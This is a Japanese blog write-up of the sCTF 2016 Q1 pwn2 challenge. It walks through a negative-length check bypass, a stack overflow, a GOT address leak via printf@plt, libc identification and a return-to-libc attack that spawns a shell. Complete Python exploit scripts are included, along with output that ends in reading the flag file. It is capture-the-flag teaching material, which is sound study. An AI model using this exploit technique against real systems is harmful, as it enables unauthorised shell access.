読者です 読者をやめる 読者になる 読者になる

sCTF 2016 Q1 writeup

sCTF 2016 Q1

いつものチームで参加.
自分は時間も取れなかったこともあるけど問題も全然解けなかった….
復習として pwn2 を解いたのでその writeup を書いておく.

pwn2

接続しにいくと

How many bytes do you want me to read?

と,何バイト入力するかを聞いてくる.
任意のバイト数を入力できるわけではなく,

 8048541:    c7 44 24 04 04 00 00    mov    DWORD PTR [esp+0x4],0x4
 8048548:   00
 8048549:   8d 45 d4                lea    eax,[ebp-0x2c]
 804854c:   89 04 24                mov    DWORD PTR [esp],eax
 804854f:   e8 8f ff ff ff          call   80484e3 <get_n>
 8048554:   8d 45 d4                lea    eax,[ebp-0x2c]
 8048557:   89 04 24                mov    DWORD PTR [esp],eax
 804855a:   e8 61 fe ff ff          call   80483c0 <atoi@plt>
 804855f:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048562:   83 7d f4 20             cmp    DWORD PTR [ebp-0xc],0x20 # <=
 8048566:   7e 15                   jle    804857d <vuln+0x4e>

といったように 32 byte までしか入力できない.
追っていったところ負数を与えると 32 byte 以上入力できることがわかった.

How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

ここまでくれば,後はスタックオーバーフローを利用する.
ただ,以下のように DEP が有効になっておりスタック上にシェルコード置いても実行することができない.

   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rw-

色々迷走した結果, Return-to-libc で DEP を回避し shell を起動した.

まず Return-to-libc するにあたり, libc のバージョンを特定しなければならない.
GOT にある関数のアドレスをリークすることができれば,
libcdb にアドレスを入れて検索することができる.

printf@plt のアドレスはわかっているので,スタックオーバーフローを利用して, 戻りアドレスを printf@plt にしてうまくスタックを積んであげれば任意のメモリの内容を参照することができる.
例えば,以下のようにスタックを積む.

----------------------------------
printf@plt のアドレス # 元は vuln 関数呼び出し元のアドレス部分
----------------------------------
printf@plt 実行後の戻りアドレス
----------------------------------
printf 実行時の書式文字列
----------------------------------
書式文字列で表示する内容のアドレス
----------------------------------

printf@plt のアドレスは objudmp するとすぐに見つかる.

$ objdump -M intel -d pwn2 | grep "printf@plt"
08048360 <printf@plt-0x10>:
08048370 <printf@plt>:

次に積む戻りアドレスはとりあえず今はなんでも良いことにして,"AAAA" など適当に積んでおく.
printf 実行時の書式文字列は,プログラム内に存在するものを拝借することにする.
具体的に言えば,以下の "You said: %s" を利用する.

(gdb) x/s 0x80486f8
0x80486f8:   "You said: %s\n"

そして最後のリークさせたアドレスは GOT にある関数のアドレスで, これは printf@plt の1行目を見ると 0x804a00c だということがわかる.

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

以上をまとめると,構成するスタックは以下となる.

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

とりあえず,これらをまとめて以下のようなスクリプトを書いて実行する.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(unused)
buf += 'AAAA'
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: ???
msg = s.recv(1024).strip()
print msg.encode('hex')

これを実行すると…

$ python pwn2_leak.py
596f7520736169643a20800266b7a0a467b79683040890c962b7308d67b7604864b7

これだけではわけがわからないので部分ごとに切り分ける.

596f7520736169643a20 # "You said: "
800266b7
a0a467b7
96830408
90c962b7
308d67b7
604864b7

当初自分の予想は, "You said: " の後に 4 byte のアドレスが出力されるのだろう,
と思っていたら 4 byte のアドレスが 6個もでてきてわけがわからなかった.
よくよく考えてみると, 出力は指定した先頭アドレスから "\0" が現れるまで出力されてしまうので,
はじめの "800266b7" は printf@got のアドレスだろうと予測できる(リトルエンディアン形式になっていることに注意).
では残りのアドレスはなんだろうと思って plt 周りを読んでみると,

08048370 <printf@plt>:
 8048370:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048376:   68 00 00 00 00          push   0x0
 804837b:   e9 e0 ff ff ff          jmp    8048360 <_init+0x24>

08048380 <getchar@plt>:
 8048380:   ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 8048386:   68 08 00 00 00          push   0x8
 804838b:   e9 d0 ff ff ff          jmp    8048360 <_init+0x24>

08048390 <__gmon_start__@plt>:
 8048390:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048396:   68 10 00 00 00          push   0x10
 804839b:   e9 c0 ff ff ff          jmp    8048360 <_init+0x24>

080483a0 <__libc_start_main@plt>:
 80483a0:   ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483a6:   68 18 00 00 00          push   0x18
 80483ab:   e9 b0 ff ff ff          jmp    8048360 <_init+0x24>

080483b0 <setvbuf@plt>:
 80483b0:   ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 80483b6:   68 20 00 00 00          push   0x20
 80483bb:   e9 a0 ff ff ff          jmp    8048360 <_init+0x24>

080483c0 <atoi@plt>:
 80483c0:   ff 25 20 a0 04 08       jmp    DWORD PTR ds:0x804a020
 80483c6:   68 28 00 00 00          push   0x28
 80483cb:   e9 90 ff ff ff          jmp    8048360 <_init+0x24>

となっており,指定したアドレス "0x804a00c" の後続は,
getchar@plt が呼び出している "0x804a010" であり,
その後も 4byte 刻みで,各 plt が呼び出しているアドレスだとわかった. つまり先ほどの出力結果は,

596f7520736169643a20 # "You said: "
800266b7 # printf@got
a0a467b7 # getchar@got
96830408 # __gmon_start__@got
90c962b7 # __libc_start_main@got
308d67b7 # setvbuf@plt
604864b7 # atoi@got

といった感じになる.
シンボル名とアドレスがそれぞれわかったので, libcdb に,
"__libc_start_main@got" と "printf@got" のアドレスを入力すると,

f:id:yharima:20160429213639p:plain

libc のバージョンが特定できた.
# ASLR 有効でも末尾 12 bit のアドレスはランダムにならず一定になることから特定できるらしい.
このサイトは該当の libc のベースアドレスからみた各関数の位置が載っている.
そのためリークした関数のアドレスから libc のベースアドレスを求めることができる.
例えば, atoi だと今回リークしたアドレスは "0xb7644860" で,

atoi
    libc_base + 0x00031860 

"0xb7644860" - "0x00031860" が libc のベースアドレスになる.

ここまでくれば後は単純で,
libc の中にある system 関数のアドレスと "/bin/sh\0" のアドレスを,
libcdb から探して libc のベースアドレスを加算しておく.
後はスタックを以下のように積むとシェルが起動するはず.

----------------------------------
system 関数のアドレス
----------------------------------
戻りアドレス(なんでもいい)
----------------------------------
"/bin/sh\0" へのアドレス
----------------------------------

というわけで, exploit のコードを書いてみる.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

libc_base = 0xb7644860 - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

実行する.

$ python exploit.py
$ ls -l

あれ…?
よくよく考えると ASLR が有効になっているので libc のベースアドレスは毎回変動してしまう.
32 bit であればパターンが多くないのでそのうちヒットしそうだが,時間はかかるし美しくない.
どうにかならないものかと考えたところ,最初に libc のベースアドレスを求めるために got をリークするときに積んだスタックは,

---------------------------------------------------
0x08048370 # printf@plt
---------------------------------------------------
0x41414141 # AAAA(戻りアドレス)
---------------------------------------------------
0x080486f8 # "You said: %s\n"
---------------------------------------------------
0x0804a00c # printf@plt が読んでいる got のアドレス
---------------------------------------------------

となっていて,戻りアドレスが適当になっている.
この戻りアドレスを vuln() 関数のアドレスにすると,
ここでリークさせたアドレスと同じ状態で,
再度同じスタックオーバーフローが実現できるので,
ASLR 影響を回避することができる.

最終的に書いたコードは以下.

import socket
import struct

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('problems2.2016q1.sctf.io', 1338))

# R:How many bytes do you want me to read?
msg = s.recv(1024)
# S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = 'A' * 48
# printf@plt address
buf += p(0x8048370)
# return address(vuln())
buf += p(0x804852f)
# 'You said "%s"' address
buf += p(0x80486f8)
# printf@got
buf += p(0x804a00c)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

# R: You said: (printf@got,getchar@got,... addrres)
msg = s.recv(1024).strip()
print "printf@got: " + hex(u(msg[10:14]))
print "getchar@got: " + hex(u(msg[14:18]))
print "__gmon_start__@got: " + hex(u(msg[18:22]))
print "__libc_start_main@got: " + hex(u(msg[22:26]))
print "setvbuf@got: " + hex(u(msg[26:30]))
print "atoi@got: " + hex(u(msg[30:34]))
print "=" * 30

# search: http://libcdb.com/
# result: http://libcdb.com/libc/92
# atoi: libc_base + 0x00031860
libc_base = u(msg[30:34]) - 0x00031860
system_addr = libc_base + 0x00040190
bin_sh_addr = libc_base + 0x00160a24
print "libc_base addr: " + hex(libc_base)
print "system addr" + hex(system_addr)
print "/bin/sh addr: " + hex(bin_sh_addr)
print "=" * 30

## S:-1
s.send("-1\n");
# R:Ok, sounds good. Give me 4294967295 bytes of data!
msg = s.recv(1024)

buf = "A" * 48
# system
buf += p(system_addr)
# return address(unused)
buf += "AAAA"
# /bin/sh addr
buf += p(bin_sh_addr)

# S: $buf
s.send(buf + "\n")

# R: You said: $buf
msg = s.recv(1024)

print "$ ls -l"
s.send("ls -l\n")
print s.recv(1024)

print "$ cat flag.txt"
s.send("cat flag.txt\n")
print s.recv(1024)

実行すると,

$ python pwn2_exploit.py
printf@got: 0xb7630280
getchar@got: 0xb764a4a0
__gmon_start__@got: 0x8048396
__libc_start_main@got: 0xb75fc990
setvbuf@got: 0xb7648d30
atoi@got: 0xb7614860
==============================
libc_base addr: 0xb75e3000
system addr0xb7623190
/bin/sh addr: 0xb7743a24
==============================
$ ls -l
total 12
-r--r----- 1 root pwn2   24 Apr  7 23:08 flag.txt
-r-xr-x--- 1 root pwn2 7553 Apr  9 01:16 pwn2

$ cat flag.txt
sctf{r0p_70_th3_f1n1sh}

フラグ sctf{r0p_70_th3_f1n1sh} をとれた.